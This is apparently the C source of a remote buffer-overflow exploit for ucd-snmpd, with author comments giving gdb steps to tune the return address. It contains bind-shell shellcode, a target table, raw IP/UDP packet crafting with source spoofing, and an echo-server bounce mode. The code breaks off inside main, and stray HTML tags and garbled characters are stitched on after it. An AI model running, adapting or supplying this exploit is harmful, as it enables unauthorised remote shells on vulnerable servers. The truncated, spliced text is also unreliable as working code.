/* This snmpd exploit has been fixed and extended by Jove (jove@halo.nu), works for (ucd-snmp < 4.2.2) maybe others?? * There are two things you need to know to get it working on any linux system, * 1) The return address, this you can find with gdb. break on _snmp_parse and do an * x/200 on the data variable, choose somewhere in the top 0x90's you see as a ret * address, I like to choose the middle. * 2) The return address location, this also requires gdb. Run the exploit against your * daemon of choice with the -x option specified. Take the last two hex digits and * convert these to decimal. This is your return address position. * This exploit code works, whether or not it works against your favorite daemon is another * story all together but I tried to include instructions to help you get it working. * have fun and only use it for legitimate purposes!!! */ /* snax.c - public release: Proof of concept exploit for ucd-snmpd-4.1.1. * * Demonstrates a snmpd exploit not dependant on snmpwalk or any of * the ucd snmp utilities. * * This allows for the packet to be easily spoofed. Included is also a * demonstration of how a packet may be bounced off of a UDP echo server. * * It's not a working exploit. RET_LOC and RET_ADDR are not correct * for any platform, and there is no shellcode. * * This code is intended as an example only. Do not use it maliciously. * Tested against Debian 2.2r5 (potato) snmpd_4.1.1-2.deb * * Author: rpc */ #include #include #include #include #include #include #include #include #define ASN1_SZ 11 #define ASN2_SZ 36 #define HDR_SZ sizeof(struct iphdr) + sizeof(struct udphdr) #define PACKET_SZ ASN1_SZ + ASN2_SZ struct target_os { char *description; char *shellcode; int buffer_size; int rets_position; u_int32_t ret_address; char nop; }; int echo = 0; /* Sniffed ASN values */ char snmp_asn1[] = "\x30\x82\x01\x23\x02\x01\x00\x04\x82\x01\x00"; /* 11 */ char snmp_asn2[] = "\xa0\x82\x00\x20\x02\x04\x57\xc6\x36\xf6\x02\x01" "\x00\x02\x01\x00\x30\x82\x00\x10\x30\x82\x00\x0c" "\x06\x08\x2b\x06\x01\x02\x01\x01\x05\x00\x05\x00"; /* 36 */ char linux_code[] = "\x31\xc0\x31\xdb\x89\xe5\x99\xb0\x66\x89\x5d\xfc\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x8d\x4d\xf4\xcd\x80\x89\x45\xf4\x43\x66\x89" "\x5d\xec\x66\xc7\x45\xee\x27\x10\x89\x55\xf0\x8d\x45\xec\x89\x45" "\xf8\xc6\x45\xfc\x10\xb2\x66\x89\xd0\x8d\x4d\xf4\xcd\x80\x89\xd0" "\xb3\x04\xcd\x80\x43\x89\xd0\x99\x89\x55\xf8\x89\x55\xfc\xcd\x80" "\x31\xc9\x89\xc3\xb1\x03\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x52\x68" "\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0" "\x0b\xcd\x80\0x00"; struct target_os the_targets[]= { {"UCD-SNMP 4.1.2 / Slackware 8.0 compilation from source",linux_code,256,216,0xbfffd77c,0x90}, {(char *) NULL, (char *) NULL, 0, 0, 0, (char) 0} }; unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } unsigned int resolve(char *host) { struct hostent *he; unsigned int ipaddr; if((he = gethostbyname(host)) == NULL) { /* ip addr, or invalid. */ if((ipaddr = inet_addr(host)) == -1) { printf("error resolving %s.\n", host); exit(1); } return ipaddr; } memcpy(&ipaddr, he->h_addr, he->h_length); return ipaddr; } char * make_packet(char *buf, unsigned int src, unsigned int dst) { struct iphdr *ip; struct udphdr *udp; char *p; int bufsz; bufsz=strlen(buf); p = (char *)malloc(HDR_SZ + PACKET_SZ + bufsz); ip = (struct iphdr *)p; udp = (struct udphdr *)(p + sizeof(*ip)); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = htons(HDR_SZ + PACKET_SZ + bufsz); ip->id = rand(); ip->frag_off = htons(IP_DF); ip->ttl = 0x40; ip->protocol = IPPROTO_UDP; ip->saddr = src; ip->daddr = dst; ip->check = in_cksum((char *)ip, sizeof(*ip)); udp->source = echo ? htons(161) : rand(); udp->dest = echo? htons(7) : htons(161); udp->len = htons(PACKET_SZ + bufsz); udp->check = 0; memcpy(p + HDR_SZ, snmp_asn1, ASN1_SZ); memcpy(p + HDR_SZ + ASN1_SZ, buf, bufsz); memcpy(p + HDR_SZ + ASN1_SZ + bufsz, snmp_asn2, ASN2_SZ); return p; } int main(int argc, char *argv[]) { struct sockaddr_in sin; char buf[2048]; u_int32_t addr; char *p; int sock; int ret; int src,dst; int arg; int one = 1; int typeosys=0; int cnt; int debugit=0; int port=161; int shellcodelen; if(argc < 3) { printf("usage: %s [-e] [-s source] [-t #] [-x] [-p port] -d dest\n", argv[0]); printf("The -e flag turns on echo mode. This sends the packet to a udp echo server.\n"); printf("Source and destination IP addresses should be reversed for echo mode.\n"); printf("Option x fills up the buffer with #'s 1-255 to help find the return\n"); printf("address location.\n"); printf("The -t flag specifies the system type we're exploiting, here's a list.\n"); for(cnt=0;the_targets[cnt].description!=(char *) NULL;cnt++) printf("%d\t%s\n",cnt,the_targets[cnt].description); exit(1); } src = resolve("127.0.0.1"); while((arg = getopt(argc, argv, "es:d:t:x:p:")) != -1) { switch(arg) { case 'e': echo = 1; break; case 's': src = resolve(optarg); break; case 'd': dst = resolve(optarg); break; case 't': typeosys = atoi(optarg); break; case 'x': debugit=1; break; case 'p': port = atoi(optarg); default: printf("Invalid argument, %c\n",arg); exit(1); } } if(dst == -1) { printf("Missing address.\n"); exit(1); } printf("Creating exploitation packet for: %s\n",the_targets[typeosys].description); shellcodelen=strlen(the_targets[typeosys].shellcode); addr = the_targets[typeosys].ret_address; memset(buf, the_targets[typeosys].nop, the_targets[typeosys].buffer_size); memcpy(buf + the_targets[typeosys].rets_position, &addr, sizeof(addr)); memcpy(buf + the_targets[typeosys].rets_position - shellcodelen, the_targets[typeosys].shellcode, shellcodelen); if(debugit==1) { for(cnt=1;cnt
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            ÑÇÖÞÅ·ÃÀÔÚÏß